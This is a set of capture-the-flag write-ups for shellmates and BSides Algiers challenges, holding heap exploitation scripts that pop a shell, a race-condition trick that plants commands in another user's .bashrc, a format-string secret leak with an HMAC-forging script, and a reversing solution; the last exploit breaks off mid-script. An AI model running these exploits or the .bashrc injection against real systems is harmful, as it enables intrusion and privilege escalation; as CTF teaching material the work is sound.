| for i in range(9): 116 | free(r, i) 117 | 118 | #allocating a chunk of a different size (to not mess with tcache) 119 | allocate(r, 0x20, p64(fastbin+0x10)) 120 | 121 | #double freeing the first fastchunk 122 | safefree(r, 0) 123 | 124 | #allocating 7 chunks to empty tcachebin (and using of them as a pointer argument to '/bin/sh' for system later) 125 | for i in range(7): 126 | allocate(r, 0x10, '/bin/sh') 127 | 128 | #poisoning the forward pointer of the double-freed fastchunk to point to __free_hook 129 | allocate(r, 0x10, p64(libc.symbols['__free_hook'])) 130 | 131 | #allocating the 2 fastchunks (now __free_hook is at the head of the fastbin of size 0x10) 132 | for i in range(2): 133 | allocate(r, 0x10, '') 134 | 135 | #allocating a chunk overlaping with __free_hook and overwriting it with system address 136 | allocate(r, 0x10, p64(libc.symbols['system'])) 137 | 138 | #system("/bin/sh"); 139 | free(r, 1) 140 | 141 | r.interactive() 142 | 143 | if __name__ == "__main__": 144 | main() 145 | # 146 | ``` 147 | # Flag 148 | `shellmates{M4AAYb3_juSt_STIck_t0_tHE_OLD_WaYS}` 149 | 150 | -------------------------------------------------------------------------------- /shellmates/tictoctou/README.md: -------------------------------------------------------------------------------- 1 | # TicTocTou 2 | 3 | ### Description 4 | Challenge: [TicTocTou](./tictoctou.c)
5 | Difficulty: Medium
6 | Category: Pwn
7 | Description:
8 | Have you ever played the game named TicTocTou? Yeah, me too, I used to play it a
9 | lot during boring classes in primary school, because, you know, playing games
10 | changes your time's perception and the class ends faster!
11 | Author's note:
12 | Your goal is to privesc to ctf-cracked in order to read the contents of flag.txt
13 | Run 'tictoctou' and start pwning, source code is available for this challenge
14 | under /home/ctf-cracked/, let's do it whitebox!
15 | PS: ctf-cracked often logs in to the system, maybe this will help.
16 | gl & hf. - hfz
17 | SSH access: ssh -p2222 ctf@3.91.133.232
18 | Password : shellmates
19 | ![alt challenge](./tictoctou.jpeg) 20 | 21 | ### Playing with the binary 22 | The binary is a typical tic-tac-toe game, you play to a bot that uses randomness for it's moves, When I played the game
23 | I noticed an interesting feature where the player enters a username and a filepath and he can save the score
24 | In condition that the player owns that file
25 | ``` 26 | shell WON against brainless bot on 2020-09-14 at 16:46:41! Not surprising however. 27 | ################# Game stats ################# 28 | # Human (O) plays on cell 5 # 29 | # Brainless Bot (X) plays on cell 6 # 30 | # Human (O) plays on cell 1 # 31 | # Brainless Bot (X) plays on cell 3 # 32 | # Human (O) plays on cell 9 # 33 | ############################################## 34 | ``` 35 | Then when I did the static analyses, I found a race condition in the save_stats() function 36 | ```C 37 | int save_stats(char *nickname, char *filepath, int result, int num_moves) { 38 | time_t t = time(NULL); 39 | struct tm tm = *localtime(&t); 40 | 41 | // Check that the real user have write permissions on that file 42 | if (access(filepath, W_OK) != 0) { // <== Time-Of-Check 43 | perror("access check failed"); 44 | return -1; 45 | } 46 | 47 | // Since the real user can write to that file, we proceed safely 48 | FILE* f = fopen(filepath, "a"); // <== Time-Of-Use 49 | if (f == NULL) return -1; 50 | 51 | switch (result){ 52 | case 0: 53 | fprintf(f, "%s TIED against brainless bot on %d-%02d-%02d at %02d:%02d:%02d! Still a boomer...\n", nickname, tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); 54 | break; 55 | case 1: 56 | fprintf(f, "%s WON against brainless bot on %d-%02d-%02d at %02d:%02d:%02d! Not surprising however.\n", nickname, tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); 57 | break; 58 | case 2: 59 | fprintf(f, "%s LOST against brainless bot on %d-%02d-%02d at %02d:%02d:%02d! What a shame to lose against pseudo randomness, go play minecraft.\n", nickname, tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec); 60 | break; 61 | } 62 | 63 | fprintf(f, "################# Game stats #################\n"); 64 | for (int j = 0; j < num_moves; j++) { 65 | if (j % 2) { 66 | fprintf(f, "# Brainless Bot (X) plays on case %c #\n", history[j]); 67 | } else { 68 | fprintf(f, "# Human (O) plays on case %c #\n", history[j]); 69 | } 70 | } 71 | fprintf(f, "##############################################\n\n"); 72 | 73 | fclose(f); 74 | 75 | return 0; 76 | } 77 | ``` 78 | We can abuse the race condition to append text to a file owned by ctf-cracked, but how can we get the flag?
79 | In the description there is a hint that the user ctf-cracked logs in frequently, so we can enter shell commands as username
80 | and append it to ctf-cracked .bashrc file, then when he logs in, the commands get executed and we get the flag
81 | To win the race condition I created an empty file and a symbolic link to the .bashrc file, then I used a syscall wrapper that
82 | I remembered from watching a Liveoverflow video to exchange the names of two files
83 | ```C 84 | #define _GNU_SOURCE 85 | #include 86 | #include 87 | #include 88 | #include 89 | #include 90 | #include 91 | 92 | int main(int argc, char *argv[]) { 93 | while (1) 94 | { 95 | syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE); 96 | } 97 | return 0; 98 | } 99 | ``` 100 | I executed the rename program and played the game (a couple of times until the race condition worked) and entered
101 | "cat /home/ctf-cracked/flag.txt > /tmp/shellc0d3/flag.txt" as a username, after few seconds the user logs in and we get the flag
102 | # Flag 103 | 104 | shellmates{T1c_T0c_T1C_tOc_@bus1nG_th3_cl0ck_4_fUn_aNd_pr0f1t} 105 | -------------------------------------------------------------------------------- /shellmates/camel/README.md: -------------------------------------------------------------------------------- 1 | # Camel 2 | 3 | ### Description 4 | category: Reverse Engineering ⚙️
5 | 6 | This weird program is different than any other one I've reverse-engineered so far, it looks simple in the way it works
7 | it prompts for some credentials, but I couldn't even find the main function, can you retrieve the correct credentials?
8 | Attachment: [camel](./camel).
9 | 10 | ![alt challenge](./camel.png) 11 | 12 | ``` 13 | $ file camel 14 | camel: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 15 | BuildID[sha1]=5d9fa9246e251d93b99c2c347bb5f3302c394a79, for GNU/Linux 3.2.0, with debug_info, not stripped 16 | ``` 17 | when we execute the binary it prints some ascii art and waits for a name 18 | ``` 19 | $ ./camel 20 | 21 | =--_ 22 | .-""""""-. |* _) 23 | / \ / / 24 | / \_/ / 25 | _ /| / 26 | _-'"/\ / | ____ _.-" _ 27 | _-' ( '-_ _ ( \ |\ /\ || .-'".". 28 | _.-' '. `'-._ .-'"/'. " | |/ / | |/ _-" ( '-_ 29 | '. _-" ( '-_ \ | / \ | _.-' ) "-._ 30 | _.' _.-' ) "-._ ||\\ |\\ '"' .-' 31 | ' .-' `' || \\ ||)) 32 | jjs__ _ ___ _ ____________ _____ ___ _|\ _|\_|\\/ _______________ ___ _ 33 | c c " c C ""C " "" "" "" 34 | c C 35 | C C 36 | C 37 | C c 38 | Who are you? 39 | shell 40 | You are not allowed to use this program 41 | ``` 42 | when looking at the disassembly with radare2 we find a lot of function calls that seem to be related to ocaml
43 | after tracing the calls a bit we find the camlRide_the_camel__take_a_ride_219() function and we find the name "Xavier"
44 | ```assembly 45 | ┌ 168: sym.camlRide_the_camel__take_a_ride_219 (); 46 | │ ╎ sub rsp, 8 47 | │ ╎ mov rax, 1 48 | │ ╎ call sym.camlRide_the_camel__print_banner_80 49 | │ ╎ lea rax, loc.camlRide_the_camel__19 ; 0x59190 ; "Who are you?" 50 | │ ╎ call sym.camlStdlib__print_endline_321 51 | │ ╎ mov rax, 1 52 | │ ╎ call sym.camlStdlib__read_line_339 53 | │ ╎ lea rsi, loc.camlRide_the_camel__20 ; 0x591a8 ; "Xavier" 54 | │ ╎ mov rdi, rax 55 | │ ╎ call sym.caml_string_equal 56 | │ ╎ cmp rax, 1 57 | │ ┌──< jne 0x20215 58 | │ │╎ lea rax, loc.camlRide_the_camel__21 ; 0x591b8 ; "You are not allowed to use this program" 59 | │ │╎ call sym.camlStdlib__print_endline_321 60 | │ │╎ mov rax, 3 61 | │ │╎ call sym.camlStdlib__exit_399 62 | │ └──> lea rax, loc.camlRide_the_camel__22 ; 0x591e8 ; "Welcome, enter the secret number" 63 | │ ╎ call sym.camlStdlib__print_endline_321 64 | │ ╎ mov rax, 1 65 | │ ╎ call sym.camlStdlib__read_int_341 66 | │ ╎ cmp rax, 0x2c17c65f 67 | │ ┌──< je 0x20258 68 | │ │╎ mov qword [rsp], rax 69 | │ │╎ call sym.camlRide_the_camel__check_139 70 | │ │╎ cmp rax, 1 71 | │ ┌───< je 0x20258 72 | │ ││╎ lea rax, loc.camlRide_the_camel__89 ; 0x59848 73 | │ ││╎ mov rbx, qword [rsp] 74 | │ ││╎ add rsp, 8 75 | │ ││└─< jmp sym.camlRide_the_camel__decrypt_145 76 | │ └└──> lea rax, loc.camlRide_the_camel__90 ; 0x59860 ; "Wrong secret number" 77 | │ add rsp, 8 78 | └ jmp sym.camlStdlib__print_endline_321 79 | ``` 80 | after that it asks for a secret number and if it is equal to 0x2c17c65f it prints "wrong secret number" otherwise it calls
81 | camlRide_the_camel__check_139() and if it return a number different then one it calls camlRide_the_camel__decrypt_145() 82 | which decrypts and prints the flag
83 | ```assembly 84 | ┌ 39: sym.camlRide_the_camel__check_139 (); 85 | │ ┌─> cmp rax, 0x2c17c65f 86 | │ ┌──< je 0x20050 87 | │ │╎ cmp rax, 0x2c17c65f 88 | │ ┌───< jle 0x20048 89 | │ ││╎ mov rax, 1 90 | │ ││╎ ret 91 | │ └───> lea rax, [rax + rax + 1] 92 | │ │└─< jmp sym.camlRide_the_camel__check_139 93 | │ └──> mov rax, 3 94 | └ ret 95 | ``` 96 | by looking at the 7th line "lea rax, [rax + rax + 1]" it seems that the secret number is 0x2c17c65f/2 which is 369877807
97 | but that doesn't work because one bit of each int in OCaml is used for garbage collection, ints are on 31 bits not 32 bits
98 | so the actual number it check for is 369877807/2 which is 184938903
99 | ### Solution 100 | ``` 101 | $ ./camel 102 | 103 | =--_ 104 | .-""""""-. |* _) 105 | / \ / / 106 | / \_/ / 107 | _ /| / 108 | _-'"/\ / | ____ _.-" _ 109 | _-' ( '-_ _ ( \ |\ /\ || .-'".". 110 | _.-' '. `'-._ .-'"/'. " | |/ / | |/ _-" ( '-_ 111 | '. _-" ( '-_ \ | / \ | _.-' ) "-._ 112 | _.' _.-' ) "-._ ||\\ |\\ '"' .-' 113 | ' .-' `' || \\ ||)) 114 | jjs__ _ ___ _ ____________ _____ ___ _|\ _|\_|\\/ _______________ ___ _ 115 | c c " c C ""C " "" "" "" 116 | c C 117 | C C 118 | C 119 | C c 120 | Who are you? 121 | Xavier 122 | Welcome, enter the secret number 123 | 184938903 124 | 23117363 125 | Congratulations!!! The flag is : shellmates{wh0_kn0ws_ab0ut_0Caml?} 126 | ``` 127 | after the solving the challenge the admin sent me the [source code](./ride_the_camel.ml). 128 | -------------------------------------------------------------------------------- /shellmates/authy-shell/README.md: -------------------------------------------------------------------------------- 1 | # AuthyShell 2 | ——————— 𝘼𝙪𝙩𝙝𝙤𝙧 𝙣𝙤𝙩𝙚 ———————
3 | 𝗖𝗵𝗮𝗹𝗹𝗲𝗻𝗴𝗲’𝘀 𝗻𝗮𝗺𝗲: AuthyShell
4 | 𝗖𝗮𝘁𝗲𝗴𝗼𝗿𝘆: Misc
5 | 𝗗𝗲𝘀𝗰𝗿𝗶𝗽𝘁𝗶𝗼𝗻: You shall not pass without
6 | knowing my secret signing key!
7 | Target: 138.68.101.239:6666
8 | Note: no brute-forcing is required.
9 | ———————————————————————
10 | ``` 11 | $ nc 138.68.101.239 6666 12 | ______ __ __ ______ __ __ __ 13 | / \ | \ | \ / \ | \ | \| \ 14 | | $$$$$$\ __ __ _| $$_ | $$____ __ __ | $$$$$$\| $$____ ______ | $$| $$ 15 | | $$__| $$| \ | \| $$ \ | $$ \ | \ | \ | $$___\$$| $$ \ / \ | $$| $$ 16 | | $$ $$| $$ | $$ \$$$$$$ | $$$$$$$\| $$ | $$ \$$ \ | $$$$$$$\| $$$$$$\| $$| $$ 17 | | $$$$$$$$| $$ | $$ | $$ __ | $$ | $$| $$ | $$ _\$$$$$$\| $$ | $$| $$ $$| $$| $$ 18 | | $$ | $$| $$__/ $$ | $$| \| $$ | $$| $$__/ $$ | \__| $$| $$ | $$| $$$$$$$$| $$| $$ 19 | | $$ | $$ \$$ $$ \$$ $$| $$ | $$ \$$ $$ \$$ $$| $$ | $$ \$$ \| $$| $$ 20 | \$$ \$$ \$$$$$$ \$$$$ \$$ \$$ _\$$$$$$$ \$$$$$$ \$$ \$$ \$$$$$$$ \$$ \$$ 21 | | \__| $$ 22 | \$$ $$ Made with love using Python 23 | \$$$$$$ 24 | 25 | [1]. Execute shell command 26 | [2]. Customize shell prompt 27 | [0]. Terminate session 28 | 29 | >>> 1 30 | [May 14 14:07:16] ~> authy-1.0.0$ ls 31 | ✍ Signature: ls 32 | ❌ Invalid signature 33 | 34 | [1]. Execute shell command 35 | [2]. Customize shell prompt 36 | [0]. Terminate session 37 | 38 | >>> 2 39 | New prompt template: {0.__init__}, {1.__init__} 40 | 41 | [1]. Execute shell command 42 | [2]. Customize shell prompt 43 | [0]. Terminate session 44 | 45 | >>> 1 46 | , > 47 | ``` 48 | The customize shell seems to be using format() method with two arguments, but it's not escaping our input string
49 | We can use attributes to leak the global variables
50 | ``` 51 | >>> 2 52 | New prompt template: {1.__init__.__globals__} 53 | 54 | [1]. Execute shell command 55 | [2]. Customize shell prompt 56 | [0]. Terminate session 57 | 58 | >>> 1 59 | {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 60 | 0x7f350d095a20>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': '/challenge/authyshell.py', 61 | '__cached__': None, 'datetime': , 'subprocess': , 62 | 'hmac': , 'os': , 63 | 'SECRET': b'\xd7p\xbb.\x03c\xc9\xb9R/O.\xd5\x1e2\x13\x1dckBt\x17\x8b\x85\\r\xc3\x87\xdfv\xb7$', 64 | 'BANNER': ' ______ __ __ ______ __ __ __ \n / \\ | \\ | \\ / \\ | \\ | \\| \\\n| $$$$$$\\ __ __ _| $$_ | $$____ __ __ | $$$$$$\\| $$____ ______ | $$| $$\n| $$__| $$| \\ | \\| $$ \\ | $$ \\ | \\ | \\ | $$___\\$$| $$ \\ / \\ | $$| $$\n| $$ $$| $$ | $$ \\$$$$$$ | $$$$$$$\\| $$ | $$ \\$$ \\ | $$$$$$$\\| $$$$$$\\| $$| $$\n| $$$$$$$$| $$ | $$ | $$ __ | $$ | $$| $$ | $$ _\\$$$$$$\\| $$ | $$| $$ $$| $$| $$\n| $$ | $$| $$__/ $$ | $$| \\| $$ | $$| $$__/ $$ | \\__| $$| $$ | $$| $$$$$$$$| $$| $$\n| $$ | $$ \\$$ $$ 65 | \\$$ $$| $$ | $$ \\$$ $$ \\$$ $$| $$ | $$ \\$$ \\| $$| $$\n \\$$ \\$$ \\$$$$$$ \\$$$$ \\$$ \\$$ _\\$$$$$$$ \\$$$$$$ \\$$ \\$$ \\$$$$$$$ \\$$ \\$$\n | \\__| $$\n \\$$ $$ Made with love using Python\n \\$$$$$$', 66 | 'MENU': '\n[1]. Execute shell command\n[2]. Customize shell prompt\n[0]. Terminate session\n', 'SHELL': 'authy-1.0.0', 'DEFAULT_PROMPT_TMPL': '[{}] ~> {}', 67 | 'ShellPrompt': , 'verify_signature': , 'main': } 68 | ``` 69 | We leaked the SECRET and we notice the hmac module is imported for signing the command, we also notice
70 | 'vefiry_signature' function. We still need to know which hashing fucntion is used, so we try to leak local variables from verify_signature
71 | ``` 72 | >>> 2 73 | New prompt template: {1.__init__.__globals__[verify_signature].__code__.co_consts} 74 | 75 | [1]. Execute shell command 76 | [2]. Customize shell prompt 77 | [0]. Terminate session 78 | 79 | >>> 1 80 | (None, 'sha256') 81 | ``` 82 | Now we have the hmac secret and the hash function name, all we need to do is sign the commands send it with the signature 83 | ```python 84 | from pwn import * 85 | from ast import literal_eval 86 | import hmac 87 | 88 | attribute = '{1.__init__.__func__.__globals__[SECRET]}' 89 | cmd = b'cat flag.txt' 90 | 91 | def parse(sec): 92 | i = 2 93 | parsed = '' 94 | while i < len(sec)-1: 95 | if sec[i:i+2] == '\\x': 96 | parsed += sec[i+2:i+4] 97 | i += 4 98 | else: 99 | parsed += f'{format(ord(sec[i]), "02x")}' 100 | i += 1 101 | return parsed 102 | 103 | def main(): 104 | r = remote("138.68.101.239", 6666) 105 | r.sendlineafter('>>> ', '2') 106 | r.sendlineafter('New prompt template: ', attribute) 107 | 108 | r.sendlineafter('>>> ', b'1\n'+cmd) 109 | r.recvuntil("'") 110 | secret = r.recvuntil("'", drop=True) 111 | secret = literal_eval(f'"{secret}"') 112 | secret = parse(secret) 113 | log.info(f'Leaked SECRET : {secret}') 114 | binary_secret = binascii.a2b_hex(secret) 115 | 116 | signature = hmac.new(binary_secret, cmd, hashlib.sha256).hexdigest() 117 | log.info(f'HMAC Signature : {signature}') 118 | 119 | r.sendline(signature) 120 | print(r.recvline()) 121 | ``` 122 | 123 | # Flag 124 | ``` 125 | shellmates{str1ng_f0rm4tt1ng_vulns_ex1st_1n_pyth0n_as_w3ll?!} 126 | ``` 127 | 128 | -------------------------------------------------------------------------------- /shellmates/fake shell/terminal.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "terminal.h" 5 | 6 | 7 | 8 | char* supported_command_strings[] = { "ls", "id", "whoami", "echo", "printf", "cat", "pwd", "cd", "help", "exit", "uname" }; 9 | unsigned int supported_command_consts[] = { CMD_LS, CMD_ID, CMD_WHOAMI, CMD_ECHO, CMD_PRINTF, CMD_CAT, CMD_PWD, CMD_CD, CMD_HELP, CMD_EXIT, CMD_UNAME }; 10 | int arity[] = { 1, 0, 0, 1, 1, 1, 0 ,1, 0, 0, 1 }; // 0 or 1 arguments to be passed to the command 11 | unsigned int(*command_handlers[])(void*) = { ls, id, whoami, echo, printf, cat, pwd, cd, help, exit, uname }; 12 | 13 | char* paths[] = { "/", "/secretfolder" }; 14 | 15 | char* cwd; // current working directory 16 | 17 | char* user = "mate"; 18 | char* hostname = "pwnable"; 19 | 20 | unsigned int uname(char* param) 21 | { 22 | if (param == NULL) 23 | puts(UNAME_OUTPUT); 24 | else if (!strcmp(param, "-a")) 25 | puts(UNAME_LONG_OUTPUT); 26 | } 27 | unsigned int ls(char* param) 28 | { 29 | char l = 0; 30 | if (param != NULL) 31 | { 32 | if (!strcmp(param, "-l")) 33 | l = 1; 34 | else 35 | return ARG_ERROR; 36 | } 37 | if (cwd == paths[0]) printf(l ? LONG_LISTING_1 : LISTING_1); 38 | else printf(l ? LONG_LISTING_2 : LISTING_2); 39 | return 0; 40 | } 41 | 42 | unsigned int id(char* param) 43 | { 44 | if (param != NULL) return ARITY_ERROR; 45 | puts("uid=1000(mate) gid=1000(mate) groupes=1000(mate),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),128(sambashare)"); 46 | return 0; 47 | } 48 | 49 | unsigned int help(char* param) 50 | { 51 | if (param != NULL) return ARITY_ERROR; 52 | puts("Supported commands\n"BLUE("ls\tid\twhoami\techo\tprintf\ncat\tpwd\tcd\thelp\texit")); 53 | } 54 | 55 | unsigned int whoami(char* param) 56 | { 57 | if (param != NULL) return ARITY_ERROR; 58 | puts(user); 59 | return 0; 60 | } 61 | 62 | unsigned int echo(char* param) 63 | { 64 | puts(param); 65 | return 0; 66 | } 67 | 68 | unsigned int cat(char* params) 69 | { 70 | if (params == NULL) return ARITY_ERROR; 71 | int i; 72 | for (i = 0; params[i]; i++); 73 | for (; i >= 0 && params[i] != '/'; i--); 74 | i++; 75 | char* fname = params+i; 76 | if (!strcmp(params+i, "flag.txt")) 77 | { 78 | params[i] = '\0'; 79 | char* current = cwd; 80 | cd(params); 81 | if (cwd == paths[1]) 82 | puts(FLAG_CONTENT); 83 | else 84 | printf("[-] cat "RED("%s/flag.txt")" : NO SUCH FILE OR DIRECTORY", params); 85 | cwd = current; 86 | } 87 | else 88 | printf("[-] cat "RED("%s")" : NO SUCH FILE OR DIRECTORY\n", params); 89 | return 0; 90 | } 91 | 92 | unsigned int pwd(char* param) 93 | { 94 | if (param != NULL) return ARITY_ERROR; 95 | puts(cwd); 96 | return 0; 97 | } 98 | 99 | unsigned int cd(char* param) 100 | { 101 | if (param == NULL) 102 | { 103 | cwd = paths[0]; 104 | return 0; 105 | } 106 | size_t i = 0; 107 | size_t start = (cwd == paths[1]); 108 | if (param[i] == '/') 109 | { 110 | start = 0; 111 | i = 1; 112 | } 113 | while (param[i] != '\0') 114 | { 115 | if (!strncmp(param+i, "..", 2)) 116 | { 117 | start = 0; 118 | i += 2; 119 | } 120 | else if (!strncmp(param+i, "secretfolder", 12)) 121 | { 122 | start = 1; 123 | i += 12; 124 | } 125 | else 126 | { 127 | puts("[-] No such directory"); 128 | return ARG_ERROR; 129 | } 130 | if (param[i] == '/') i++; 131 | } 132 | cwd = paths[start]; 133 | return 0; 134 | } 135 | 136 | void read_cmd(char* buffer, size_t size) 137 | { 138 | fgets(buffer, size, stdin); 139 | } 140 | 141 | unsigned int parse_cmd(char* buffer, command_ll* head) 142 | { 143 | size_t i = 0; 144 | for (i = 0; i < 1024 && buffer[i]; i++) 145 | if (buffer[i] == '\n') buffer[i] = '\0'; 146 | i = 0; 147 | for (size_t j = 0; j < n_elems(supported_command_consts); j++) 148 | { 149 | size_t len = strlen(supported_command_strings[j]); 150 | if (!strncmp(buffer, supported_command_strings[j], len)) 151 | { 152 | head->command = supported_command_consts[j]; 153 | i = len; 154 | break; 155 | } 156 | } 157 | //head->args = NULL; 158 | if (i == 0) return COMMAND_NOT_FOUND; 159 | for (; i < 1024 && buffer[i]; i++) 160 | if (buffer[i] != ' ' && buffer[i-1] == ' ') 161 | { 162 | buffer[i-1] = '\0'; 163 | head->args = buffer+i; 164 | break; 165 | } 166 | else if (buffer[i-1] == ' ') 167 | buffer[i-1] = '\0'; 168 | return 0; 169 | } 170 | 171 | unsigned int process_cmd(command_ll* cmd) 172 | { 173 | return command_handlers[cmd->command](cmd->args); 174 | } 175 | 176 | void clean_cmd(command_ll* cmd) 177 | { 178 | cmd->args = NULL; 179 | } 180 | 181 | void print_prompt() 182 | { 183 | printf(RED("%s@%s")":"BLUE("%s")" $ ", user, hostname, cwd); 184 | } 185 | 186 | void disable_buffering() 187 | { 188 | setvbuf(stdout, NULL, _IONBF, 0); 189 | } 190 | 191 | int main() 192 | { 193 | disable_buffering(); 194 | cwd = paths[0]; 195 | command_ll* current_command = malloc(sizeof(command_ll)); 196 | char command_buffer[1024]; 197 | // print_banner(); 198 | while (1) 199 | { 200 | print_prompt(); 201 | read_cmd(command_buffer, sizeof(command_buffer)); 202 | if (command_buffer[0] == '\n') continue; 203 | switch (parse_cmd(command_buffer, current_command)) 204 | { 205 | case COMMAND_NOT_FOUND: 206 | { 207 | printf(RED("%s")": command not found, type "BLUE("help")" for available commands\n", command_buffer); 208 | break; 209 | } 210 | default: 211 | { 212 | switch (process_cmd(current_command)) 213 | { 214 | case ARITY_ERROR: 215 | { 216 | printf("[-] Wrong number of arguments for the command "BLUE("%s")"\n", supported_command_strings[current_command->command]); 217 | break; 218 | } 219 | case ARG_ERROR: 220 | { 221 | printf("[-] Invalid argument given to the command "BLUE("%s")"\n", supported_command_strings[current_command->command]); 222 | break; 223 | } 224 | } 225 | } 226 | } 227 | clean_cmd(current_command); 228 | } 229 | } 230 | 231 | -------------------------------------------------------------------------------- /BSides-Algiers-2023/README.md: -------------------------------------------------------------------------------- 1 | # Just_Pwnme 2 | 3 | # Description 4 | ![](./description.png) 5 | 6 | # Checksec 7 | 8 | ``` 9 | RELRO STACK CANARY NX PIE 10 | Full RELRO Canary found NX enabled PIE enabled 11 | ``` 12 | Got table is not writable. 13 | # Analysis 14 | 15 | This is a typical heap challenge where you can allocate, edit, print and free chunk of the heap,
16 | ``` 17 | $ ./chall 18 | 0) Allocate a chunk 19 | 1) Free a chunk 20 | 2) Print a chunk 21 | 3) Edit a chunk 22 | 4) Exit 23 | [*] choice : 24 | ``` 25 | Except it had couple restrictions:
26 | * The maximum size of allocation is limited to 0x100 == 256 bytes.
27 | meaning we can't directly allocate a large chunk then free it to leak the main_arena pointer.
28 | * The allocation pointer array has only 2 slots, so we can only keep track of 2 chunks at the time.
29 | meaning we can't fill up t-cache to force using fast bin.
30 | * The libc used is 2.35 which doesn't use free/malloc hooks, and uses safe-linking.
31 | meaning we can't directly overwrite heap pointers, and there are no hook to overwrite to change the execution flow.
32 | 33 | On the good side, we had a UAF so we can edit/print a free chunk and we had unlimited number of allocations,
34 | and that's more than enough to pwn a binary :)
35 | 36 | # TL;DR 37 | * Defeat safe-linking by leaking the Heap address from the first t-cache entry.
38 | * Use t-cache poisoning to create 2 overlapping chuncks in the heap.
39 | * Overwrite the overlapped chunk's size to a large size, then free it to leak libc address.
40 | * Use t-cache poisoning to allocate a chunk overlapping with environ pointer and leak stack address.
41 | * Use t-cache poisoning to allocate a chunk overlapping with main return address on the stack.
42 | * Overwrite main return address with a rop gadget to get a $hell.
43 | 44 | # Exploit 45 | 46 | ```python 47 | #!/usr/bin/env python3 48 | 49 | from pwn import * 50 | 51 | exe = ELF("./chall_patched") 52 | libc = ELF("./libc.so.6") 53 | ld = ELF("./ld-linux-x86-64.so.2") 54 | 55 | context.binary = exe 56 | 57 | 58 | def conn(): 59 | if args.LOCAL: 60 | r = process([exe.path]) 61 | if args.DEBUG: 62 | gdb.attach(r) 63 | else: 64 | r = remote("just-pwnme.bsides.shellmates.club", 443, ssl=True) 65 | return r 66 | 67 | 68 | def allocate_chunk(r, index, size, data): 69 | r.recvuntil(b"choice : \n") 70 | r.sendline(b'0') 71 | r.recvuntil(b"Index : ") 72 | r.sendline(bytes(str(index), 'utf-8')) 73 | r.recvuntil(b"Size : ") 74 | r.sendline(bytes(str(size), 'utf-8')) 75 | r.recvuntil(b"Data : ") 76 | r.sendline(data) 77 | 78 | 79 | def free_chunk(r, index): 80 | r.recvuntil(b"choice : \n") 81 | r.sendline(b'1') 82 | r.recvuntil(b"Index : ") 83 | r.sendline(bytes(str(index), 'utf-8')) 84 | 85 | 86 | def print_chunk(r, index): 87 | r.recvuntil(b"choice : \n") 88 | r.sendline(b'2') 89 | r.recvuntil(b"Index : ") 90 | r.sendline(bytes(str(index), 'utf-8')) 91 | 92 | 93 | def edit_chunk(r, index, data): 94 | r.recvuntil(b"choice : \n") 95 | r.sendline(b'3') 96 | r.recvuntil(b"Index : ") 97 | r.sendline(bytes(str(index), 'utf-8')) 98 | r.recvuntil(b"Data : ") 99 | r.send(data) 100 | 101 | 102 | def main(): 103 | r = conn() 104 | 105 | # Allocate two chunks 106 | allocate_chunk(r, 0, 16, b'aaa') 107 | allocate_chunk(r, 1, 16, b'aaa') 108 | 109 | # Free both chuncks into t-cache 110 | free_chunk(r, 0) 111 | free_chunk(r, 1) 112 | 113 | # Leak heap base from first t-cache chunk 114 | print_chunk(r, 0) 115 | heap = int.from_bytes(r.recv(numb=6).strip(), "little") << 12 116 | log.info(f"Leaking heap base address : {hex(heap)}") 117 | 118 | # Overwrite the forward pointer of the second t-cache chunk 119 | # (encoding the pointer to bypass safe-linking) 120 | heap_overlap = ((heap + 0x2c0) >> 12) ^ (heap+0x2b0) 121 | edit_chunk(r, 1, flat(p64(heap_overlap), b'\n')) 122 | 123 | # Allocate the first firs entry in t-cache 124 | allocate_chunk(r, 1, 16, b'aaa') 125 | 126 | # Allocate a chunk overlapping with the previously allocated chunk 127 | allocate_chunk(r, 1, 16, b'aaa') 128 | 129 | # Edit the size of the overlaping chunk to a large bin size 130 | edit_chunk(r, 0, flat(p64(0), p64(0x421))) 131 | 132 | # Create additional chunck to pass "prev chunck in-use" 133 | allocate_chunk(r, 0, 256, b'aaa') 134 | allocate_chunk(r, 0, 256, b'aaa') 135 | allocate_chunk(r, 0, 256, b'aaa') 136 | allocate_chunk(r, 0, 176, b'aaa') 137 | allocate_chunk(r, 0, 16, b'aaa') 138 | 139 | # Free the fake large chunk to leak main_arena address and calculate libc address 140 | free_chunk(r, 1) 141 | print_chunk(r, 1) 142 | libc.address = int.from_bytes(r.recv(numb=6).strip(), "little") - 0x219ce0 143 | log.info(f"Leaking libc base address : {hex(libc.address)}") 144 | 145 | # Allocate two chunks 146 | allocate_chunk(r, 0, 16, b'aaa') 147 | allocate_chunk(r, 1, 16, b'aaa') 148 | 149 | # Free both chuncks 150 | free_chunk(r, 0) 151 | free_chunk(r, 1) 152 | 153 | # Overwrite the forward pointer of the second t-cache chunk 154 | # (encoding the pointer to bypass safe-linking) 155 | environ = ((heap + 0x2d0) >> 12) ^ (libc.address + 0x221200-16) 156 | edit_chunk(r, 1, flat(p64(environ), b'\n')) 157 | 158 | # Allocate the first entry in t-cache 159 | allocate_chunk(r, 1, 16, b'aaa') 160 | 161 | # Allocate a chunk overlapping with the environ variable of the dynamic linker 162 | allocate_chunk(r, 1, 16, b'a'*15) 163 | 164 | # Leak the envp stack pointer and calculate the return address pointer of main 165 | print_chunk(r, 1) 166 | r.recvline() 167 | main_ret_addr = int.from_bytes(r.recv(numb=6).strip(), "little") - 328 + 32 168 | log.info(f"Leaking main return address : {hex(main_ret_addr)}") 169 | 170 | # Allocate two chunks 171 | allocate_chunk(r, 0, 64, b'aaa') 172 | allocate_chunk(r, 1, 64, b'aaa') 173 | 174 | # Free both chunks 175 | free_chunk(r, 0) 176 | free_chunk(r, 1) 177 | 178 | # Overwrite the forward pointer of the second t-cache chunk 179 | # (encoding the pointer to bypass safe-linking) 180 | main_ret_addr = ((heap + 0x340) >> 12) ^ (main_ret_addr) 181 | edit_chunk(r, 1, flat(p64(main_ret_addr), b'\n')) 182 | 183 | # Prepare a rop gadget to execute 